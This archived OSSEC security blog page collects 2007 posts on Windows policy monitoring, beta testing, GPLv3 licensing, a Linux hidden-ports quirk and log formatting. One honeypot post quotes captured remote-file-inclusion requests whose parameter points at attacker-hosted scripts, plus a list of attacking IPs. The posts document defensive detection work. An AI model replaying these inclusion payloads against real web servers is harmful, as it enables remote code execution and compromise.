OSSEC – Page 13 – The Open Source Security (OSSEC) Blog

Windows policy monitoring

Posted on July 26, 2007July 2, 2020 by Daniel Cid

OSSEC v1.3 will come with support for Windows policy monitoring, allowing you to verify that all your systems conform to a set of policies regarding configuration settings, applications usage, etc. They are configured centrally on the ossec server and pushed down to all your agents.

With the Windows policy monitoring, you can get alerts like the following (detecting Skype and Yahoo):

2007 Jul 22 17:42:57 Rule Id: 514 level: 2
Location: (winhome) 192.168.2.190->rootcheck
Windows application monitor event.
Application Found: Chat/IM – Yahoo.
2007 Jul 22 17:42:57 Rule Id: 514 level: 2
Location: (winhome) 192.168.2.190->rootcheck
Windows application monitor event.
Application Found: Chat/IM/VoIP – Skype.

And compliance alerts like the following:

2007 Jul 23 13:44:54 Rule Id: 512 level: 3
Location: (winhome) 192.168.2.190->rootcheck
Windows Audit event.
Windows Audit: Null sessions allowed.
2007 Jul 23 13:44:54 Rule Id: 512 level: 3
Location: (winhome) 192.168.2.190->rootcheck
Windows Audit event.
Windows Audit: LM authentication allowed (weak passwords).

Interested? Read more how it works here. You can also try our beta version to help us improve it.

Security Horizon journal

Posted on July 24, 2007July 2, 2020 by Daniel Cid

If you never read (or didn’t know) the Security Horizon journal you are missing on the good stuff. They release their security journal every few months with some interesting articles and their summer 2007 edition was just made available today.

If that wasn’t enough, they have an article about OSSEC, written by Chuck Little, entitled: “OSSEC-HIDS: Documenting my Further Adventures in Intrusion Detection” (on page 20). Excelent read!

OSSEC v1.3 BETA1 – Testers Needed

Posted on July 22, 2007July 2, 2020 by Daniel Cid

OSSEC v1.3 is soon to be available and we really need some help beta testing it. As I always say, trying out our beta releases is a simpler and very effective way of helping the project.

How can you test it?
We created an entry in our Wiki with all the information necessary regarding beta testing. The test sets are very simple, but I plan to improve it as we progress. Download information, what to test and everything else is there.

Any help is very appreciated.

HIDS are from Mars, NIDS are from Venus

Posted on July 17, 2007July 2, 2020 by Daniel Cid

Chuck MdMonk wrote a very funny article, HIDS are from Mars, NIDS are from Venus and even found a way to put ossec in the middle as a relationship counselor. Very nice read…

OSSEC and GPLv3

Posted on July 12, 2007July 2, 2020 by Daniel Cid

When we release a new version of OSSEC and tell our users to update to it, what do you think they do? Well, most of them upgrade to the latest version without asking too many questions. However, some users with C and development experience go out and diff the code, look at the CVS changelog, and do a careful review to see if the new version fits their needs. But (big BUT), the user must know what he or she is doing to make an informed decision.

Anyway, what it has to do with GPL? Well, I am not a lawyer and I am not a license expert. If the FSF that wrote the GPLv2 (license that ossec currently uses), tells me to update to the GPLv3, what do you think I should do? If my expertise were in licenses, I would go and review the license before deciding, but since it is not, I will probably just trust them and update.

What does that mean? Unless there is a good reason not to do so, next version of OSSEC will be under the GPLv3. We trust the work that the FSF is doing for the open source community and the process to develop the GPLv3 was very good (open participation, lots of smart contributors, etc), so the final product must be good too.

Any comments? Any license expert willing to share your thoughts?

OSSEC CVS list

Posted on July 11, 2007July 2, 2020 by Daniel Cid

For those interested to follow our CVS commits and be more directly involved with ossec, we created a few days ago a mailing list for it. You can subscribe by sending an e-mail to ossec-cvs-subscribe at googlegroups.com or you can just browse the archives at googlegroups or the ossec site.

*note: this list is reading-only. Discussions about any commit should go to the ossec-dev list.

Control UI for the Windows agent

Posted on July 11, 2007July 2, 2020 by Daniel Cid

The next version of ossec for Windows will come with a very simple “control ui” to manage and configure some basic options in the windows agent (like server ip, auth keys, etc). The code is pretty much stable, but I would like some beta testers and some suggestions.

If you are interested, the executable can be downloaded from here. The source code is committed to CVS too. Just download it, play with it, try restarting, stopping, changing the configs, etc. Any feedback will be welcome.

Some screenshots:

*I am far from being a ui designer (especially on Windows), so help is also welcome to make it look/work better.

Hidden ports on Linux

Posted on June 29, 2007July 3, 2020 by Daniel Cid

If you ever had trouble with hidden ports on Linux (2.4 and 2.6), I may have figured out one of the possible causes today (and no, it is not a rootkit). To keep the story short: if you bind any TCP port, but do not listen on it, netstat will not show it at all (the same does not happen with UDP ports).

Here is the idea. If you get this simple C program, it will attempt to bind every TCP port from 1025 to 1050, but it will not listen on them. After it is done, if you do a netstat (or fuser or lsof) nothing will be shown. However, if you try to use the port, you will get an error saying that it is already in use.

To reproduce, download the bind_ports.c program, compile and execute it:

dcid@copacabana:~$ wget http://www.ossec.net/files/other/bind_ports.c
..
14:56:32 (309.92 KB/s) – `bind_ports.c’ saved [1371/1371]
dcid@copacabana:~$ gcc -o bind_ports bind_ports.c
dcid@copacabana:~$ ./bind_ports &
[1] 11332
Ports from 1025 to 1050 were bind..

After that, run netstat (or lsof or fuser) to see if the port is listed (it will not be):

dcid@copacabana:~$ netstat -tan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:53 0.0.0.0:* LISTEN
…

However, if you try to use the port, you will receive the “already in use” error (if using nc, it takes up to 10 seconds to fail).

dcid@copacabana:~$ nc -l -p 1025
Can’t grab 0.0.0.0:1025 with bind
dcid@copacabana:~$ nc -l -p 1026
Can’t grab 0.0.0.0:1026 with bind
dcid@copacabana:~$ nc -p 1026 127.0.0.1 80
Can’t grab 0.0.0.0:1026 with bind

Anyone has ideas why this happens? If I try the same thing on OpenBSD, netstat lists all the ports correctly.

Hammered by web attacks (KorWeblog)

Posted on June 27, 2007July 3, 2020 by Daniel Cid

Some of my web honeypots are being hammered by attacks against KorWeblog. If fact, even my real systems are received a lot of these too.. It looks like they are trying to exploit an old vulnerability (from 2005), which sounds odd to me.

Example of alert from ossec:

OSSEC HIDS Notification.
2007 Jun 27 17:07:30
Received From: xx->/var/log/httpd/xx.access.log
Rule: 31106 fired (level 12) -> “A web attack returned code 200 (success).”
Portion of the log(s):
8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

Just one honeypot (yes, one) in the last few days was “attacked” by the following IPs (25 different):

189.1.168.118
200.193.146.100
200.219.150.6
202.123.27.136
203.55.214.70
207.150.188.50
207.226.179.98
209.216.205.81
210.188.204.198
211.247.239.10
213.194.149.130
216.7.185.31
217.170.66.240
218.228.196.88
218.239.223.225
221.127.101.45
62.193.237.43
62.75.163.196
65.98.58.2
72.232.219.205
8.10.120.85
83.103.57.13
83.217.84.88
85.125.233.222
89.110.144.202

The logs look all the same:

200.193.146.100 – – [26/Jun/2007:16:37:37 -0300] “GET /*install/index.php?lng=../../include/main.inc&G_PATH=http://www.thiaguinho.net/id.txt? HTTP/1.1″ 200 6351 “-” “libwww-perl/5.79″
8.10.120.85 – – [27/Jun/2007:17:07:29 -0300] “GET /install/index.php?lng=../../include/main.inc&G_PATH=http://nicksom2d.sytes.net/ex/echo? HTTP/1.1″ 200 6349 “-” “libwww-perl/5.805″

I posted a few of the sites that were found at the WebAttacks Links in the ossec wiki.

Consistent logging – good separators

Posted on June 24, 2007July 3, 2020 by Daniel Cid

After posting my paper about Remote log injection, most of the feedback I received was regarding how “bad” these tools (e.g. DenyHosts, BlockHosts, etc) are and how bad the idea of log-based automatic response is.

Some people even said that the best approach is to just ignore these logs, since they are just noise. Yes, ignore their sshd/ftpd logs… Of course that I don’t share this opinion. SSH/FTP scans are real attacks and some systems can end up being compromised because of them (well, if they had good passwords, they wouldn’t, but that’s another discussion). Not only we should monitor for failed password attempts, but also for failed passwords followed by success, every success login, etc. Again, that’s another discussion.

Anyway, instead of blaming these tools, I would also put the “blame” on the applications that generate log messages without any good formatting or consistency. In the case of ssh, it uses spaces as a “field separator”, while the user name itself can have spaces. Not a good choice at all. The same applies for Vsftp that uses a bracket as a separator while, again, user names can have brackets.

Logs are there for a reason: to be analyzed, monitored, etc. If they are not consistent or can easily be modified based on remote log injection, they lose their value. That’s why a lot of people just ignore them…

What do I mean by consistent logging? I mean a log that is well defined and uses good separators making it easy for anyone to parse and automatic analyze them. A good example is the ProFTPD logs:

proftpd[12564]: test (hostname[192.168.1.1]) – USER xx: Login successful

Why do I think it is well formatted? Well, it starts with the hostname, followed by IP. These are not user provided input, so they can not influentiate the other fields. The second good point is that the user name separator is a “:” (colon) which is a not valid character for user names. Because of that, log analysis tools can use a simple regex looking for “:” as the end of the user name. Third, it has a descriptive message of the event (in this case, login success)…

There is a lot more on consistent logging that I would like to talk. Hopefully when CEE is really out it will address some of these issues. Comments?